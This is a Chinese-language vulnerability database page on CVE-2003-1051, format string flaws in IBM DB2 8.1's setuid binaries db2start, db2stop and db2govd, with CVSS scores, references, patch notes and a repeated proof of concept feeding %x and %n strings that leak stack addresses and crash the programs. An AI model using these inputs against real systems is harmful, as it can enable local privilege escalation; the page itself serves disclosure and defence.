CVE-2003-1051
CVSS7.2
发布时间 :2004-09-28 00:00:00
修订时间 :2008-09-05 16:35:54
NMCOES    

[原文]Multiple format string vulnerabilities in IBM DB2 Universal Database 8.1 may allow local users to execute arbitrary code via certain command line arguments to (1) db2start, (2) db2stop, or (3) db2govd.


[CNNVD]IBM DB2多个命令行格式字符串漏洞(CNNVD-200409-066)

        IBM DB2 Universal Database 8.1版本中存在多个格式字符串漏洞。本地用户可以借助(1)db2start,(2) db2stop,或者(3) db2govd中的特定命令行参数执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1051
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1051
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200409-066
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/13633
(VENDOR_ADVISORY)  XF  db2-multiple-binaries-bo(13633)
http://www.securityfocus.com/bid/8989
(VENDOR_ADVISORY)  BID  8989
http://www.securityfocus.com/archive/1/343804
(VENDOR_ADVISORY)  BUGTRAQ  20031108 SRT2003-11-06-0710 - IBM DB2 Multiple local security issues
http://www.secnetops.com/research/advisories/SRT2003-11-06-0710.txt
(UNKNOWN)  MISC  http://www.secnetops.com/research/advisories/SRT2003-11-06-0710.txt

- 漏洞信息

IBM DB2多个命令行格式字符串漏洞
高危 格式化字符串
2004-09-28 00:00:00 2005-10-20 00:00:00
本地  
        IBM DB2 Universal Database 8.1版本中存在多个格式字符串漏洞。本地用户可以借助(1)db2start,(2) db2stop,或者(3) db2govd中的特定命令行参数执行任意代码。

- 公告与补丁

        It has been reported that IBM has released Fixpack 4 for v8 of the database. IBM is also said to be currently developing Fixpack 11 for v7, which will be available in mid November 2003. This information has not yet been verified by Symantec. Until this information has been confirmed, users are advised to check the following URL for Fixpack releases.
        http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report

- 漏洞信息 (23344)

IBM DB2 db2start Format String Arbitrary Code Execution (EDBID:23344)
linux local
2003-11-07 Verified
0 SNOSoft
N/A [点击下载]
source: http://www.securityfocus.com/bid/8989/info

Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.		

- 漏洞信息 (23345)

IBM DB2 db2stop Format String Arbitrary Code Execution (EDBID:23345)
linux local
2003-11-07 Verified
0 SNOSoft
N/A [点击下载]
source: http://www.securityfocus.com/bid/8989/info
 
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault		

- 漏洞信息 (23346)

IBM DB2 db2govd Format String Arbitrary Code Execution (EDBID:23346)
linux local
2003-11-07 Verified
0 SNOSoft
N/A [点击下载]
source: http://www.securityfocus.com/bid/8989/info
  
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault 		

- 漏洞信息

2846
IBM DB2 db2start Format String Arbitrary Code Execution
Local Access Required, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

IBM DB2 contains a flaw that may allow a remote attacker to execute a format string attack. The issue is triggered due to a format string error in the 'db2start' binary. It is possible that the flaw may allow arbitrary code execution resulting in a loss of integrity.

- 时间线

2003-11-08 Unknow
2003-11-08 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, IBM has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

- 漏洞信息

IBM DB2 Multiple Command-line Format String Vulnerabilities
Input Validation Error 8989
No Yes
2003-11-07 12:00:00 2009-07-12 12:56:00
This vulnerability was discovered by SNOSoft.

- 受影响的程序版本

IBM DB2 Universal Database for Linux 8.1
IBM DB2 Universal Database for Linux 8.0
IBM DB2 Universal Database for Linux 7.2
IBM DB2 Universal Database for Linux 7.1
IBM DB2 Universal Database for Linux 7.0

- 漏洞讨论

Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

- 漏洞利用

The following proof of concept has been supplied:
[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid.
[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault

- 解决方案

It has been reported that IBM has released Fixpack 4 for v8 of the database. IBM is also said to be currently developing Fixpack 11 for v7, which will be available in mid November 2003. This information has not yet been verified by Symantec. Until this information has been confirmed, users are advised to check the following URL for Fixpack releases.

http://www-3.ibm.com/cgi-bin/db2www/data/db2/udb/winos2unix/support/download.d2w/report

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站